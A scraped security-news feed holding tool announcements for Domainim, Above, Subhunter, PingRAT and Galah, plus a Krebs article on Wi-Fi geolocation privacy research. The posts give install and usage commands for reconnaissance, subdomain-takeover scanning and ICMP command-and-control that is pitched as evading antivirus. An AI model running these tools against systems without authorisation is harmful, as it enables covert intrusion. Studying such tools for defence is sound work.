    51 uninitialized-local Uninitialized local variables Medium Medium
    52 unused-return Unused return values Medium Medium
    53 incorrect-modifier Modifiers that can return the default value Low High
    54 shadowing-builtin Built-in symbol shadowing Low High
    55 shadowing-local Local variables shadowing Low High
    56 uninitialized-fptr-cst Uninitialized function pointer calls in constructors Low High
    57 variable-scope Local variables used prior their declaration Low High
    58 void-cst Constructor called not implemented Low High
    59 calls-loop Multiple calls in a loop Low Medium
    60 events-access Missing Events Access Control Low Medium
    61 events-maths Missing Events Arithmetic Low Medium
    62 incorrect-unary Dangerous unary expressions Low Medium
    63 missing-zero-check Missing Zero Address Validation Low Medium
    64 reentrancy-benign Benign reentrancy vulnerabilities Low Medium
    65 reentrancy-events Reentrancy vulnerabilities leading to out-of-order Events Low Medium
    66 return-bomb A low level callee may consume all callers gas unexpectedly. Low Medium
    67 timestamp Dangerous usage of block.timestamp Low Medium
    68 assembly Assembly usage Informational High
    69 assert-state-change Assert state change Informational High
    70 boolean-equal Comparison to boolean constant Informational High
    71 cyclomatic-complexity Detects functions with high (> 11) cyclomatic complexity Informational High
    72 deprecated-standards Deprecated Solidity Standards Informational High
    73 erc20-indexed Un-indexed ERC20 event parameters Informational High
    74 function-init-state Function initializing state variables Informational High
    75 incorrect-using-for Detects using-for statement usage when no function from a given library matches a given type Informational High
    76 low-level-calls Low level calls Informational High
    77 missing-inheritance Missing inheritance Informational High
    78 naming-convention Conformity to Solidity naming conventions Informational High
    79 pragma If different pragma directives are used Informational High
    80 redundant-statements Redundant statements Informational High
    81 solc-version Incorrect Solidity version Informational High
    82 unimplemented-functions Unimplemented functions Informational High
    83 unused-import Detects unused imports Informational High
    84 unused-state Unused state variables Informational High
    85 costly-loop Costly operations in a loop Informational Medium
    86 dead-code Functions that are not used Informational Medium
    87 reentrancy-unlimited-gas Reentrancy vulnerabilities through send and transfer Informational Medium
    88 similar-names Variable names are too similar Informational Medium
    89 too-many-digits Conformance to numeric notation best practices Informational Medium
    90 cache-array-length Detects for loops that use length member of some storage array in their loop condition and don't modify it. Optimization High
    91 constable-states State variables that could be declared constant Optimization High
    92 external-function Public function that could be declared external Optimization High
    93 immutable-states State variables that could be declared immutable Optimization High
    94 var-read-using-this Contract reads its own variable using this Optimization High


    ☐ ☆ ✇ KitPloit - PenTest Tools!

    Domainim - A Fast And Comprehensive Tool For Organizational Network Scanning

    By: Zion3R — May 26th 2024 at 12:30


    Domainim is a fast domain reconnaissance tool for organizational network scanning. The tool aims to provide a brief overview of an organization's structure using techniques like OSINT, bruteforcing, DNS resolving etc.


    Features

    Current features (v1.0.1)- - Subdomain enumeration (2 engines + bruteforcing) - User-friendly output - Resolving A records (IPv4)

    A fast and comprehensive tool for organizational network scanning (6)

    A fast and comprehensive tool for organizational network scanning (7)

    • Virtual hostname enumeration
    • Reverse DNS lookup

    A fast and comprehensive tool for organizational network scanning (8)

    • Detects wildcard subdomains (for bruteforcing)

    A fast and comprehensive tool for organizational network scanning (9)

    • Basic TCP port scanning
    • Subdomains are accepted as input

    A fast and comprehensive tool for organizational network scanning (10)

    • Export results to JSON file

    A fast and comprehensive tool for organizational network scanning (11)

    A few features are work in progress. See Planned features for more details.

    The project is inspired by Sublist3r. The port scanner module is heavily based on NimScan.

    Installation

    You can build this repo from source- - Clone the repository

    git clone git@github.com:pptx704/domainim
    • Build the binary
    nimble build
    • Run the binary
    ./domainim <domain> [--ports=<ports>]

    Or, you can just download the binary from the release page. Keep in mind that the binary is tested on Debian based systems only.

    Usage

    ./domainim <domain> [--ports=<ports> | -p:<ports>] [--wordlist=<filename> | l:<filename> [--rps=<int> | -r:<int>]] [--dns=<dns> | -d:<dns>] [--out=<filename> | -o:<filename>]
    • <domain> is the domain to be enumerated. It can be a subdomain as well.
    • -- ports | -p is a string speicification of the ports to be scanned. It can be one of the following-
    • all - Scan all ports (1-65535)
    • none - Skip port scanning (default)
    • t<n> - Scan top n ports (same as nmap). i.e. t100 scans top 100 ports. Max value is 5000. If n is greater than 5000, it will be set to 5000.
    • single value - Scan a single port. i.e. 80 scans port 80
    • range value - Scan a range of ports. i.e. 80-100 scans ports 80 to 100
    • comma separated values - Scan multiple ports. i.e. 80,443,8080 scans ports 80, 443 and 8080
    • combination - Scan a combination of the above. i.e. 80,443,8080-8090,t500 scans ports 80, 443, 8080 to 8090 and top 500 ports
    • --dns | -d is the address of the dns server. This should be a valid IPv4 address and can optionally contain the port number-
    • a.b.c.d - Use DNS server at a.b.c.d on port 53
    • a.b.c.d#n - Use DNS server at a.b.c.d on port e
    • --wordlist | -l - Path to the wordlist file. This is used for bruteforcing subdomains. If the file is invalid, bruteforcing will be skipped. You can get a wordlist from SecLists. A wordlist is also provided in the release page.
    • --rps | -r - Number of requests to be made per second during bruteforce. The default value is 1024 req/s. It is to be noted that, DNS queries are made in batches and next batch is made only after the previous one is completed. Since quries can be rate limited, increasing the value does not always guarantee faster results.
    • --out | -o - Path to the output file. The output will be saved in JSON format. The filename must end with .json.

    Examples - ./domainim nmap.org --ports=all - ./domainim google.com --ports=none --dns=8.8.8.8#53 - ./domainim pptx704.com --ports=t100 --wordlist=wordlist.txt --rps=1500 - ./domainim pptx704.com --ports=t100 --wordlist=wordlist.txt --outfile=results.json - ./domainim mysite.com --ports=t50,5432,7000-9000 --dns=1.1.1.1

    The help menu can be accessed using ./domainim --help or ./domainim -h.

    Usage:
    domainim <domain> [--ports=<ports> | -p:<ports>] [--wordlist=<filename> | l:<filename> [--rps=<int> | -r:<int>]] [--dns=<dns> | -d:<dns>] [--out=<filename> | -o:<filename>]
    domainim (-h | --help)

    Options:
    -h, --help Show this screen.
    -p, --ports Ports to scan. [default: `none`]
    Can be `all`, `none`, `t<n>`, single value, range value, combination
    -l, --wordlist Wordlist for subdomain bruteforcing. Bruteforcing is skipped for invalid file.
    -d, --dns IP and Port for DNS Resolver. Should be a valid IPv4 with an optional port [default: system default]
    -r, --rps DNS queries to be made per second [default: 1024 req/s]
    -o, --out JSON file where the output will be saved. Filename must end with `.json`

    Examples:
    domainim domainim.com -p:t500 -l:wordlist.txt --dns:1.1.1.1#53 --out=results.json
    domainim sub.domainim.com --ports=all --dns:8.8.8.8 -t:1500 -o:results.json

    The JSON schema for the results is as follows-

    [
    {
    "subdomain": string,
    "data": [
    "ipv4": string,
    "vhosts": [string],
    "reverse_dns": string,
    "ports": [int]
    ]
    }
    ]

    Example json for nmap.org can be found here.

    Contributing

    Contributions are welcome. Feel free to open a pull request or an issue.

    Planned Features

    • [x] TCP port scanning
    • [ ] UDP port scanning support
    • [ ] Resolve AAAA records (IPv6)
    • [x] Custom DNS server
    • [x] Add bruteforcing subdomains using a wordlist
    • [ ] Force bruteforcing (even if wildcard subdomain is found)
    • [ ] Add more engines for subdomain enumeration
    • [x] File output (JSON)
    • [ ] Multiple domain enumeration
    • [ ] Dir and File busting

    Others

    • [x] Update verbose output when encountering errors (v0.2.0)
    • [x] Show progress bar for longer operations
    • [ ] Add individual port scan progress bar
    • [ ] Add tests
    • [ ] Add comments and docstrings

    Additional Notes

    This project is still in its early stages. There are several limitations I am aware of.

    The two engines I am using (I'm calling them engine because Sublist3r does so) currently have some sort of response limit. dnsdumpster.com">dnsdumpster can fetch upto 100 subdomains. crt.sh also randomizes the results in case of too many results. Another issue with crt.sh is the fact that it returns some SQL error sometimes. So for some domain, results can be different for different runs. I am planning to add more engines in the future (at least a brute force engine).

    The port scanner has only ping response time + 750ms timeout. This might lead to false negatives. Since, domainim is not meant for port scanning but to provide a quick overview, such cases are acceptable. However, I am planning to add a flag to increase the timeout. For the same reason, filtered ports are not shown. For more comprehensive port scanning, I recommend using Nmap. Domainim also doesn't bypass rate limiting (if there is any).

    It might seem that the way vhostnames are printed, it just brings repeition on the table.

    A fast and comprehensive tool for organizational network scanning (12)

    Printing as the following might've been better-

    ack.nmap.org, issues.nmap.org, nmap.org, research.nmap.org, scannme.nmap.org, svn.nmap.org, www.nmap.org
    ↳ 45.33.49.119
    ↳ Reverse DNS: ack.nmap.org.

    But previously while testing, I found cases where not all IPs are shared by same set of vhostnames. That is why I decided to keep it this way.

    A fast and comprehensive tool for organizational network scanning (13)

    DNS server might have some sort of rate limiting. That's why I added random delays (between 0-300ms) for IPv4 resolving per query. This is to not make the DNS server get all the queries at once but rather in a more natural way. For bruteforcing method, the value is between 0-1000ms by default but that can be changed using --rps | -t flag.

    One particular limitation that is bugging me is that the DNS resolver would not return all the IPs for a domain. So it is necessary to make multiple queries to get all (or most) of the IPs. But then again, it is not possible to know how many IPs are there for a domain. I still have to come up with a solution for this. Also, nim-ndns doesn't support CNAME records. So, if a domain has a CNAME record, it will not be resolved. I am waiting for a response from the author for this.

    For now, bruteforcing is skipped if a possible wildcard subdomain is found. This is because, if a domain has a wildcard subdomain, bruteforcing will resolve IPv4 for all possible subdomains. However, this will skip valid subdomains also (i.e. scanme.nmap.org will be skipped even though it's not a wildcard value). I will add a --force-brute | -fb flag later to force bruteforcing.

    Similar thing is true for VHost enumeration for subdomain inputs. Since, urls that ends with given subdomains are returned, subdomains of similar domains are not considered. For example, scannme.nmap.org will not be printed for ack.nmap.org but something.ack.nmap.org might be. I can search for all subdomains of nmap.org but that defeats the purpose of having a subdomains as an input.

    License

    MIT License. See LICENSE for full text.



    ☐ ☆ ✇ KitPloit - PenTest Tools!

    Above - Invisible Network Protocol Sniffer

    By: Zion3R — May 22nd 2024 at 12:30


    Invisible protocol sniffer for finding vulnerabilities in the network. Designed for pentesters and security engineers.


    Above: Invisible network protocol sniffer
    Designed for pentesters and security engineers

    Author: Magama Bazarov, <caster@exploit.org>
    Pseudonym: Caster
    Version: 2.6
    Codename: Introvert

    Disclaimer

    All information contained in this repository is provided for educational and research purposes only. The author is not responsible for any illegal use of this tool.

    It is a specialized network security tool that helps both pentesters and security professionals.

    Mechanics

    Above is a invisible network sniffer for finding vulnerabilities in network equipment. It is based entirely on network traffic analysis, so it does not make any noise on the air. He's invisible. Completely based on the Scapy library.

    Above allows pentesters to automate the process of finding vulnerabilities in network hardware. Discovery protocols, dynamic routing, 802.1Q, ICS Protocols, FHRP, STP, LLMNR/NBT-NS, etc.

    Supported protocols

    Detects up to 27 protocols:

    MACSec (802.1X AE)
    EAPOL (Checking 802.1X versions)
    ARP (Passive ARP, Host Discovery)
    CDP (Cisco Discovery Protocol)
    DTP (Dynamic Trunking Protocol)
    LLDP (Link Layer Discovery Protocol)
    802.1Q Tags (VLAN)
    S7COMM (Siemens)
    OMRON
    TACACS+ (Terminal Access Controller Access Control System Plus)
    ModbusTCP
    STP (Spanning Tree Protocol)
    OSPF (Open Shortest Path First)
    EIGRP (Enhanced Interior Gateway Routing Protocol)
    BGP (Border Gateway Protocol)
    VRRP (Virtual Router Redundancy Protocol)
    HSRP (Host Standby Redundancy Protocol)
    GLBP (Gateway Load Balancing Protocol)
    IGMP (Internet Group Management Protocol)
    LLMNR (Link Local Multicast Name Resolution)
    NBT-NS (NetBIOS Name Service)
    MDNS (Multicast DNS)
    DHCP (Dynamic Host Configuration Protocol)
    DHCPv6 (Dynamic Host Configuration Protocol v6)
    ICMPv6 (Internet Control Message Protocol v6)
    SSDP (Simple Service Discovery Protocol)
    MNDP (MikroTik Neighbor Discovery Protocol)

    Operating Mechanism

    Above works in two modes:

    • Hot mode: Sniffing on your interface specifying a timer
    • Cold mode: Analyzing traffic dumps

    The tool is very simple in its operation and is driven by arguments:

    • Interface: Specifying the network interface on which sniffing will be performed
    • Timer: Time during which traffic analysis will be performed
    • Input: The tool takes an already prepared .pcap as input and looks for protocols in it
    • Output: Above will record the listened traffic to .pcap file, its name you specify yourself
    • Passive ARP: Detecting hosts in a segment using Passive ARP
    usage: above.py [-h] [--interface INTERFACE] [--timer TIMER] [--output OUTPUT] [--input INPUT] [--passive-arp]

    options:
    -h, --help show this help message and exit
    --interface INTERFACE
    Interface for traffic listening
    --timer TIMER Time in seconds to capture packets, if not set capture runs indefinitely
    --output OUTPUT File name where the traffic will be recorded
    --input INPUT File name of the traffic dump
    --passive-arp Passive ARP (Host Discovery)

    Information about protocols

    The information obtained will be useful not only to the pentester, but also to the security engineer, he will know what he needs to pay attention to.

    When Above detects a protocol, it outputs the necessary information to indicate the attack vector or security issue:

    • Impact: What kind of attack can be performed on this protocol;

    • Tools: What tool can be used to launch an attack;

    • Technical information: Required information for the pentester, sender MAC/IP addresses, FHRP group IDs, OSPF/EIGRP domains, etc.

    • Mitigation: Recommendations for fixing the security problems

    • Source/Destination Addresses: For protocols, Above displays information about the source and destination MAC addresses and IP addresses


    Installation

    Linux

    You can install Above directly from the Kali Linux repositories

    caster@kali:~$ sudo apt update && sudo apt install above

    Or...

    caster@kali:~$ sudo apt-get install python3-scapy python3-colorama python3-setuptools
    caster@kali:~$ git clone https://github.com/casterbyte/Above
    caster@kali:~$ cd Above/
    caster@kali:~/Above$ sudo python3 setup.py install

    macOS:

    # Install python3 first
    brew install python3
    # Then install required dependencies
    sudo pip3 install scapy colorama setuptools

    # Clone the repo
    git clone https://github.com/casterbyte/Above
    cd Above/
    sudo python3 setup.py install

    Don't forget to deactivate your firewall on macOS!

    Settings > Network > Firewall


    How to Use

    Hot mode

    Above requires root access for sniffing

    Above can be run with or without a timer:

    caster@kali:~$ sudo above --interface eth0 --timer 120

    To stop traffic sniffing, press CTRL + С

    WARNING! Above is not designed to work with tunnel interfaces (L3) due to the use of filters for L2 protocols. Tool on tunneled L3 interfaces may not work properly.

    Example:

    caster@kali:~$ sudo above --interface eth0 --timer 120

    -----------------------------------------------------------------------------------------
    [+] Start sniffing...

    [*] After the protocol is detected - all necessary information about it will be displayed
    --------------------------------------------------
    [+] Detected SSDP Packet
    [*] Attack Impact: Potential for UPnP Device Exploitation
    [*] Tools: evil-ssdp
    [*] SSDP Source IP: 192.168.0.251
    [*] SSDP Source MAC: 02:10:de:64:f2:34
    [*] Mitigation: Ensure UPnP is disabled on all devices unless absolutely necessary, monitor UPnP traffic
    --------------------------------------------------
    [+] Detected MDNS Packet
    [*] Attack Impact: MDNS Spoofing, Credentials Interception
    [*] Tools: Responder
    [*] MDNS Spoofing works specifically against Windows machines
    [*] You cannot get NetNTLMv2-SSP from Apple devices
    [*] MDNS Speaker IP: fe80::183f:301c:27bd:543
    [*] MDNS Speaker MAC: 02:10:de:64:f2:34
    [*] Mitigation: Filter MDNS traffic. Be careful with MDNS filtering
    --------------------------------------------------

    If you need to record the sniffed traffic, use the --output argument

    caster@kali:~$ sudo above --interface eth0 --timer 120 --output above.pcap

    If you interrupt the tool with CTRL+C, the traffic is still written to the file

    Cold mode

    If you already have some recorded traffic, you can use the --input argument to look for potential security issues

    caster@kali:~$ above --input ospf-md5.cap

    Example:

    caster@kali:~$ sudo above --input ospf-md5.cap

    [+] Analyzing pcap file...

    --------------------------------------------------
    [+] Detected OSPF Packet
    [+] Attack Impact: Subnets Discovery, Blackhole, Evil Twin
    [*] Tools: Loki, Scapy, FRRouting
    [*] OSPF Area ID: 0.0.0.0
    [*] OSPF Neighbor IP: 10.0.0.1
    [*] OSPF Neighbor MAC: 00:0c:29:dd:4c:54
    [!] Authentication: MD5
    [*] Tools for bruteforce: Ettercap, John the Ripper
    [*] OSPF Key ID: 1
    [*] Mitigation: Enable passive interfaces, use authentication
    --------------------------------------------------
    [+] Detected OSPF Packet
    [+] Attack Impact: Subnets Discovery, Blackhole, Evil Twin
    [*] Tools: Loki, Scapy, FRRouting
    [*] OSPF Area ID: 0.0.0.0
    [*] OSPF Neighbor IP: 192.168.0.2
    [*] OSPF Neighbor MAC: 00:0c:29:43:7b:fb
    [!] Authentication: MD5
    [*] Tools for bruteforce: Ettercap, John the Ripper
    [*] OSPF Key ID: 1
    [*] Mitigation: Enable passive interfaces, use authentication

    Passive ARP

    The tool can detect hosts without noise in the air by processing ARP frames in passive mode

    caster@kali:~$ sudo above --interface eth0 --passive-arp --timer 10

    [+] Host discovery using Passive ARP

    --------------------------------------------------
    [+] Detected ARP Reply
    [*] ARP Reply for IP: 192.168.1.88
    [*] MAC Address: 00:00:0c:07:ac:c8
    --------------------------------------------------
    [+] Detected ARP Reply
    [*] ARP Reply for IP: 192.168.1.40
    [*] MAC Address: 00:0c:29:c5:82:81
    --------------------------------------------------

    Outro

    I wrote this tool because of the track "A View From Above (Remix)" by KOAN Sound. This track was everything to me when I was working on this sniffer.




    ☐ ☆ ✇ Krebs on Security

    Why Your Wi-Fi Router Doubles as an Apple AirTag

    By: BrianKrebs — May 21st 2024 at 16:21

    Image: Shutterstock.

    Apple and the satellite-based broadband service Starlink each recently took steps to address new research into the potential security and privacy implications of how their services geo-locate devices. Researchers from the University of Maryland say they relied on publicly available data from Apple to track the location of billions of devices globally — including non-Apple devices like Starlink systems — and found they could use this data to monitor the destruction of Gaza, as well as the movements and in many cases identities of Russian and Ukrainian troops.

    At issue is the way that Apple collects and publicly shares information about the precise location of all Wi-Fi access points seen by its devices. Apple collects this location data to give Apple devices a crowdsourced, low-power alternative to constantly requesting global positioning system (GPS) coordinates.

    Both Apple and Google operate their own Wi-Fi-based Positioning Systems (WPS) that obtain certain hardware identifiers from all wireless access points that come within range of their mobile devices. Both record the Media Access Control (MAC) address that a Wi-FI access point uses, known as a Basic Service Set Identifier or BSSID.

    Periodically, Apple and Google mobile devices will forward their locations — by querying GPS and/or by using cellular towers as landmarks — along with any nearby BSSIDs. This combination of data allows Apple and Google devices to figure out where they are within a few feet or meters, and it’s what allows your mobile phone to continue displaying your planned route even when the device can’t get a fix on GPS.

    With Google’s WPS, a wireless device submits a list of nearby Wi-Fi access point BSSIDs and their signal strengths — via an application programming interface (API) request to Google — whose WPS responds with the device’s computed position. Google’s WPS requires at least two BSSIDs to calculate a device’s approximate position.

    Apple’s WPS also accepts a list of nearby BSSIDs, but instead of computing the device’s location based off the set of observed access points and their received signal strengths and then reporting that result to the user, Apple’s API will return the geolocations of up to 400 hundred more BSSIDs that are nearby the one requested. It then uses approximately eight of those BSSIDs to work out the user’s location based on known landmarks.

    In essence, Google’s WPS computes the user’s location and shares it with the device. Apple’s WPS gives its devices a large enough amount of data about the location of known access points in the area that the devices can do that estimation on their own.

    That’s according to two researchers at the University of Maryland, who theorized they could use the verbosity of Apple’s API to map the movement of individual devices into and out of virtually any defined area of the world. The UMD pair said they spent a month early in their research continuously querying the API, asking it for the location of more than a billion BSSIDs generated at random.

    They learned that while only about three million of those randomly generated BSSIDs were known to Apple’s Wi-Fi geolocation API, Apple also returned an additional 488 million BSSID locations already stored in its WPS from other lookups.

    UMD Associate Professor David Levin and Ph.D student Erik Rye found they could mostly avoid requesting unallocated BSSIDs by consulting the list of BSSID ranges assigned to specific device manufacturers. That list is maintained by the Institute of Electrical and Electronics Engineers (IEEE), which is also sponsoring the privacy and security conference where Rye is slated to present the UMD research later today.

    Plotting the locations returned by Apple’s WPS between November 2022 and November 2023, Levin and Rye saw they had a near global view of the locations tied to more than two billion Wi-Fi access points. The map showed geolocated access points in nearly every corner of the globe, apart from almost the entirety of China, vast stretches of desert wilderness in central Australia and Africa, and deep in the rainforests of South America.

    A “heatmap” of BSSIDs the UMD team said they discovered by guessing randomly at BSSIDs.

    The researchers said that by zeroing in on or “geofencing” other smaller regions indexed by Apple’s location API, they could monitor how Wi-Fi access points moved over time. Why might that be a big deal? They found that by geofencing active conflict zones in Ukraine, they were able to determine the location and movement of Starlink devices used by both Ukrainian and Russian forces.

    The reason they were able to do that is that each Starlink terminal — the dish and associated hardware that allows a Starlink customer to receive Internet service from a constellation of orbiting Starlink satellites — includes its own Wi-Fi access point, whose location is going to be automatically indexed by any nearby Apple devices that have location services enabled.

    A heatmap of Starlink routers in Ukraine. Image: UMD.

    The University of Maryland team geo-fenced various conflict zones in Ukraine, and identified at least 3,722 Starlink terminals geolocated in Ukraine.

    “We find what appear to be personal devices being brought by military personnel into war zones, exposing pre-deployment sites and military positions,” the researchers wrote. “Our results also show individuals who have left Ukraine to a wide range of countries, validating public reports of where Ukrainian refugees have resettled.”

    In an interview with KrebsOnSecurity, the UMD team said they found that in addition to exposing Russian troop pre-deployment sites, the location data made it easy to see where devices in contested regions originated from.

    “This includes residential addresses throughout the world,” Levin said. “We even believe we can identify people who have joined the Ukraine Foreign Legion.”

    A simplified map of where BSSIDs that enter the Donbas and Crimea regions of Ukraine originate. Image: UMD.

    Levin and Rye said they shared their findings with Starlink in March 2024, and that Starlink told them the company began shipping software updates in 2023 that force Starlink access points to randomize their BSSIDs.

    Starlink’s parent SpaceX did not respond to requests for comment. But the researchers shared a graphic they said was created from their Starlink BSSID monitoring data, which shows that just in the past month there was a substantial drop in the number of Starlink devices that were geo-locatable using Apple’s API.

    UMD researchers shared this graphic, which shows their ability to monitor the location and movement of Starlink devices by BSSID dropped precipitously in the past month.

    They also shared a written statement they received from Starlink, which acknowledged that Starlink User Terminal routers originally used a static BSSID/MAC:

    “In early 2023 a software update was released that randomized the main router BSSID. Subsequent software releases have included randomization of the BSSID of WiFi repeaters associated with the main router. Software updates that include the repeater randomization functionality are currently being deployed fleet-wide on a region-by-region basis. We believe the data outlined in your paper is based on Starlink main routers and or repeaters that were queried prior to receiving these randomization updates.”

    The researchers also focused their geofencing on the Israel-Hamas war in Gaza, and were able to track the migration and disappearance of devices throughout the Gaza Strip as Israeli forces cut power to the country and bombing campaigns knocked out key infrastructure.

    “As time progressed, the number of Gazan BSSIDs that are geolocatable continued to decline,” they wrote. “By the end of the month, only 28% of the original BSSIDs were still found in the Apple WPS.”

    In late March 2024, Apple quietly updated its website to note that anyone can opt out of having the location of their wireless access points collected and shared by Apple — by appending “_nomap” to the end of the Wi-Fi access point’s name (SSID). Adding “_nomap” to your Wi-Fi network name also blocks Google from indexing its location.

    Apple updated its privacy and location services policy in March 2024 to allow people to opt out of having their Wi-Fi access point indexed by its service, by appending “_nomap” to the network’s name.

    Asked about the changes, Apple said they have respected the “_nomap” flag on SSIDs for some time, but that this was only called out in a support article earlier this year.

    Rye said Apple’s response addressed the most depressing aspect of their research: That there was previously no way for anyone to opt out of this data collection.

    “You may not have Apple products, but if you have an access point and someone near you owns an Apple device, your BSSID will be in [Apple’s] database,” he said. “What’s important to note here is that every access point is being tracked, without opting in, whether they run an Apple device or not. Only after we disclosed this to Apple have they added the ability for people to opt out.”

    The researchers said they hope Apple will consider additional safeguards, such as proactive ways to limit abuses of its location API.

    “It’s a good first step,” Levin said of Apple’s privacy update in March. “But this data represents a really serious privacy vulnerability. I would hope Apple would put further restrictions on the use of its API, like rate-limiting these queries to keep people from accumulating massive amounts of data like we did.”

    The UMD researchers said they omitted certain details from their study to protect the users they were able to track, noting that the methods they used could present risks for those fleeing abusive relationships or stalkers.

    “We observe routers move between cities and countries, potentially representing their owner’s relocation or a business transaction between an old and new owner,” they wrote. “While there is not necessarily a 1-to-1 relationship between Wi-Fi routers and users, home routers typically only have several. If these users are vulnerable populations, such as those fleeing intimate partner violence or a stalker, their router simply being online can disclose their new location.”

    The researchers said Wi-Fi access points that can be created using a mobile device’s built-in cellular modem do not create a location privacy risk for their users because mobile phone hotspots will choose a random BSSID when activated.

    “Modern Android and iOS devices will choose a random BSSID when you go into hotspot mode,” he said. “Hotspots are already implementing the strongest recommendations for privacy protections. It’s other types of devices that don’t do that.”

    For example, they discovered that certain commonly used travel routers compound the potential privacy risks.

    “Because travel routers are frequently used on campers or boats, we see a significant number of them move between campgrounds, RV parks, and marinas,” the UMD duo wrote. “They are used by vacationers who move between residential dwellings and hotels. We have evidence of their use by military members as they deploy from their homes and bases to war zones.”

    A copy of the UMD research is available here (PDF).

    Update, May 22, 4:54 p.m. ET: Added response from Apple.

    ☐ ☆ ✇ KitPloit - PenTest Tools!

    Subhunter - A Fast Subdomain Takeover Tool

    By: Zion3R — May 15th 2024 at 12:30


    Subdomain takeover is a common vulnerability that allows an attacker to gain control over a subdomain of a target domain and redirect users intended for an organization's domain to a website that performs malicious activities, such as phishing campaigns, stealing user cookies, etc. It occurs when an attacker gains control over a subdomain of a target domain. Typically, this happens when the subdomain has a CNAME in the DNS, but no host is providing content for it. Subhunter takes a given list of Subdomains" title="Subdomains">subdomains and scans them to check this vulnerability.


    Features:

    • Auto update
    • Uses random user agents
    • Built in Go
    • Uses a fork of fingerprint data from well known sources (can-i-take-over-xyz)

    Installation:

    Option 1:

    Download from releases

    Option 2:

    Build from source:

    $ git clone https://github.com/Nemesis0U/Subhunter.git
    $ go build subhunter.go

    Usage:

    Options:

    Usage of subhunter:
    -l string
    File including a list of hosts to scan
    -o string
    File to save results
    -t int
    Number of threads for scanning (default 50)
    -timeout int
    Timeout in seconds (default 20)

    Demo (Added fake fingerprint for POC):

    ./Subhunter -l subdomains.txt -o test.txt

    ____ _ _ _
    / ___| _ _ | |__ | |__ _ _ _ __ | |_ ___ _ __
    \___ \ | | | | | '_ \ | '_ \ | | | | | '_ \ | __| / _ \ | '__|
    ___) | | |_| | | |_) | | | | | | |_| | | | | | | |_ | __/ | |
    |____/ \__,_| |_.__/ |_| |_| \__,_| |_| |_| \__| \___| |_|


    A fast subdomain takeover tool

    Created by Nemesis

    Loaded 88 fingerprints for current scan

    -----------------------------------------------------------------------------

    [+] Nothing found at www.ubereats.com: Not Vulnerable
    [+] Nothing found at testauth.ubereats.com: Not Vulnerable
    [+] Nothing found at apple-maps-app-clip.ubereats.com: Not Vulnerable
    [+] Nothing found at about.ubereats.com: Not Vulnerable
    [+] Nothing found at beta.ubereats.com: Not Vulnerable
    [+] Nothing found at ewp.ubereats.com: Not Vulnerable
    [+] Nothi ng found at edgetest.ubereats.com: Not Vulnerable
    [+] Nothing found at guest.ubereats.com: Not Vulnerable
    [+] Google Cloud: Possible takeover found at testauth.ubereats.com: Vulnerable
    [+] Nothing found at info.ubereats.com: Not Vulnerable
    [+] Nothing found at learn.ubereats.com: Not Vulnerable
    [+] Nothing found at merchants.ubereats.com: Not Vulnerable
    [+] Nothing found at guest-beta.ubereats.com: Not Vulnerable
    [+] Nothing found at merchant-help.ubereats.com: Not Vulnerable
    [+] Nothing found at merchants-beta.ubereats.com: Not Vulnerable
    [+] Nothing found at merchants-staging.ubereats.com: Not Vulnerable
    [+] Nothing found at messages.ubereats.com: Not Vulnerable
    [+] Nothing found at order.ubereats.com: Not Vulnerable
    [+] Nothing found at restaurants.ubereats.com: Not Vulnerable
    [+] Nothing found at payments.ubereats.com: Not Vulnerable
    [+] Nothing found at static.ubereats.com: Not Vulnerable

    Subhunter exiting...
    Results written to test.txt




    ☐ ☆ ✇ KitPloit - PenTest Tools!

    PingRAT - Secretly Passes C2 Traffic Through Firewalls Using ICMP Payloads

    By: Zion3R — May 12th 2024 at 12:30


    PingRAT secretly passes C2 traffic through firewalls using ICMP payloads.

    Features:

    • Uses ICMP for Command and Control
    • Undetectable by most AV/EDR solutions
    • Written in Go

    Installation:

    Download the binaries

    or build the binaries and you are ready to go:

    $ git clone https://github.com/Nemesis0U/PingRAT.git
    $ go build client.go
    $ go build server.go

    Usage:

    Server:

    ./server -h
    Usage of ./server:
    -d string
    Destination IP address
    -i string
    Listener (virtual) Network Interface (e.g. eth0)

    Client:

    ./client -h
    Usage of ./client:
    -d string
    Destination IP address
    -i string
    (Virtual) Network Interface (e.g., eth0)



    ☐ ☆ ✇ KitPloit - PenTest Tools!

    Galah - An LLM-powered Web Honeypot Using The OpenAI API

    By: Zion3R — April 29th 2024 at 12:30


    TL;DR: Galah (/ɡəˈlɑː/ - pronounced 'guh-laa') is an LLM (Large Language Model) powered web honeypot, currently compatible with the OpenAI API, that is able to mimic various applications and dynamically respond to arbitrary HTTP requests.


    Description

    Named after the clever Australian parrot known for its mimicry, Galah mirrors this trait in its functionality. Unlike traditional web honeypots that rely on a manual and limiting method of emulating numerous web applications or vulnerabilities, Galah adopts a novel approach. This LLM-powered honeypot mimics various web applications by dynamically crafting relevant (and occasionally foolish) responses, including HTTP headers and body content, to arbitrary HTTP requests. Fun fact: in Aussie English, Galah also means fool!

    I've deployed a cache for the LLM-generated responses (the cache duration can be customized in the config file) to avoid generating multiple responses for the same request and to reduce the cost of the OpenAI API. The cache stores responses per port, meaning if you probe a specific port of the honeypot, the generated response won't be returned for the same request on a different port.

    The prompt is the most crucial part of this honeypot! You can update the prompt in the config file, but be sure not to change the part that instructs the LLM to generate the response in the specified JSON format.

    Note: Galah was a fun weekend project I created to evaluate the capabilities of LLMs in generating HTTP messages, and it is not intended for production use. The honeypot may be fingerprinted based on its response time, non-standard, or sometimes weird responses, and other network-based techniques. Use this tool at your own risk, and be sure to set usage limits for your OpenAI API.

    Future Enhancements

    • Rule-Based Response: The new version of Galah will employ a dynamic, rule-based approach, adding more control over response generation. This will further reduce OpenAI API costs and increase the accuracy of the generated responses.

    • Response Database: It will enable you to generate and import a response database. This ensures the honeypot only turns to the OpenAI API for unknown or new requests. I'm also working on cleaning up and sharing my own database.

    • Support for Other LLMs.

    Getting Started

    • Ensure you have Go version 1.20+ installed.
    • Create an OpenAI API key from here.
    • If you want to serve over HTTPS, generate TLS certificates.
    • Clone the repo and install the dependencies.
    • Update the config.yaml file.
    • Build and run the Go binary!
    % git clone git@github.com:0x4D31/galah.git
    % cd galah
    % go mod download
    % go build
    % ./galah -i en0 -v

    ██████ █████ ██ █████ ██ ██
    ██ ██ ██ ██ ██ ██ ██ ██
    ██ ███ ███████ ██ ███████ ███████
    ██ ██ ██ ██ ██ ██ ██ ██ ██
    ██████ ██ ██ ███████ ██ ██ ██ ██
    llm-based web honeypot // version 1.0
    author: Adel "0x4D31" Karimi

    2024/01/01 04:29:10 Starting HTTP server on port 8080
    2024/01/01 04:29:10 Starting HTTP server on port 8888
    2024/01/01 04:29:10 Starting HTTPS server on port 8443 with TLS profile: profile1_selfsigned
